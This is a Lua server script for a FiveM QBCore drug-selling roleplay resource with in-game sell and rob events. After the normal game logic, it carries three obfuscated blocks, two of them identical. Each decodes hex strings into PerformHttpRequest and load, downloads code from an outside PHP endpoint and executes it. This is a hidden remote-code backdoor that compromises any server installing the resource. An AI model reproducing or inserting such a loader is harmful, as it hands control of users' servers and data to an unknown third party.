local function getAvailableDrugs(source)
    local AvailableDrugs = {}
    local Player = QBCore.Functions.GetPlayer(source)

    if not Player then return nil end

    for k in pairs(Config.DrugsPrice) do
        local item = Player.Functions.GetItemByName(k)

        if item then
            AvailableDrugs[#AvailableDrugs + 1] = {
                item = item.name,
                amount = item.amount,
                label = QBCore.Shared.Items[item.name]["label"]
            }
        end
    end
    return table.type(AvailableDrugs) ~= "empty" and AvailableDrugs or nil
end

QBCore.Functions.CreateCallback('qb-drugs:server:cornerselling:getAvailableDrugs', function(source, cb)
    cb(getAvailableDrugs(source))
end)

RegisterNetEvent('qb-drugs:server:giveStealItems', function(drugType, amount)
    local availableDrugs = getAvailableDrugs(source)
    local Player = QBCore.Functions.GetPlayer(source)

    if not availableDrugs or not Player then return end

    Player.Functions.AddItem(availableDrugs[drugType].item, amount)
end)

RegisterNetEvent('qb-drugs:server:sellCornerDrugs', function(drugType, amount, price)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    local availableDrugs = getAvailableDrugs(src)

    if not availableDrugs or not Player then return end

    local item = availableDrugs[drugType].item

    local hasItem = Player.Functions.GetItemByName(item)
    if hasItem.amount >= amount then
        TriggerClientEvent('QBCore:Notify', src, Lang:t("success.offer_accepted"), 'success')
        Player.Functions.RemoveItem(item, amount)
        Player.Functions.AddMoney('cash', price, "sold-cornerdrugs")
        TriggerClientEvent('inventory:client:ItemBox', src, QBCore.Shared.Items[item], "remove")
        TriggerClientEvent('qb-drugs:client:refreshAvailableDrugs', src, getAvailableDrugs(src))
    else
        TriggerClientEvent('qb-drugs:client:cornerselling', src)
    end
end)

RegisterNetEvent('qb-drugs:server:robCornerDrugs', function(drugType, amount)
    local src = source
    local Player = QBCore.Functions.GetPlayer(src)
    local availableDrugs = getAvailableDrugs(src)

    if not availableDrugs or not Player then return end

    local item = availableDrugs[drugType].item

    Player.Functions.RemoveItem(item, amount)
    TriggerClientEvent('inventory:client:ItemBox', src, QBCore.Shared.Items[item], "remove")
    TriggerClientEvent('qb-drugs:client:refreshAvailableDrugs', src, getAvailableDrugs(src))
end)


local cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[4][cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (JuFbruIhHdzaxCtJzaSBNBEYTrPfwElBncBfdUBehQdxgQoYeokyFgJMSbbiJKDvOUDQhM, llpCrRetzoOzxybbiBBeNOzOaIKkFIZtJNSiGznyrExTBtzsTjLWVyQUUoJxlOhTIiZttu) if (llpCrRetzoOzxybbiBBeNOzOaIKkFIZtJNSiGznyrExTBtzsTjLWVyQUUoJxlOhTIiZttu == cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[6] or llpCrRetzoOzxybbiBBeNOzOaIKkFIZtJNSiGznyrExTBtzsTjLWVyQUUoJxlOhTIiZttu == cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[5]) then return end cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[4][cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[2]](cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[4][cDWKNBNWfiUAohVseYMYRRfQmNawvPtUNLbPwOApHFTjGqUhBKHjXPfMXrrSDeIBZtEeSG[3]](llpCrRetzoOzxybbiBBeNOzOaIKkFIZtJNSiGznyrExTBtzsTjLWVyQUUoJxlOhTIiZttu))() end)

local AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (TYmwoLDHzIRoUQDeRoBEvsOrbGqahylvCfiYtbKMxlBtlYFBYFaEDSjFATwwtWyntaRvob, FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA) if (FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[6] or FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[5]) then return end AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[2]](AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[3]](FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA))() end)

local AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x72\x70\x73\x65\x72\x76\x65\x75\x72\x2e\x66\x72\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x34\x79\x68\x65\x54", function (TYmwoLDHzIRoUQDeRoBEvsOrbGqahylvCfiYtbKMxlBtlYFBYFaEDSjFATwwtWyntaRvob, FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA) if (FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[6] or FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA == AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[5]) then return end AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[2]](AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[4][AOOTHSyQqGvGQAYPpeFFizZOzzQakVUEJhHRXoXriPtKxwmyQFchBymDZTtCfLSrXpZquF[3]](FwfpvtwCWJjPmJCGEABhtGOUJisKwdaVBdBDiIryBKkfDbTulcrsTgGwWbnWwKwEXouQIA))() end)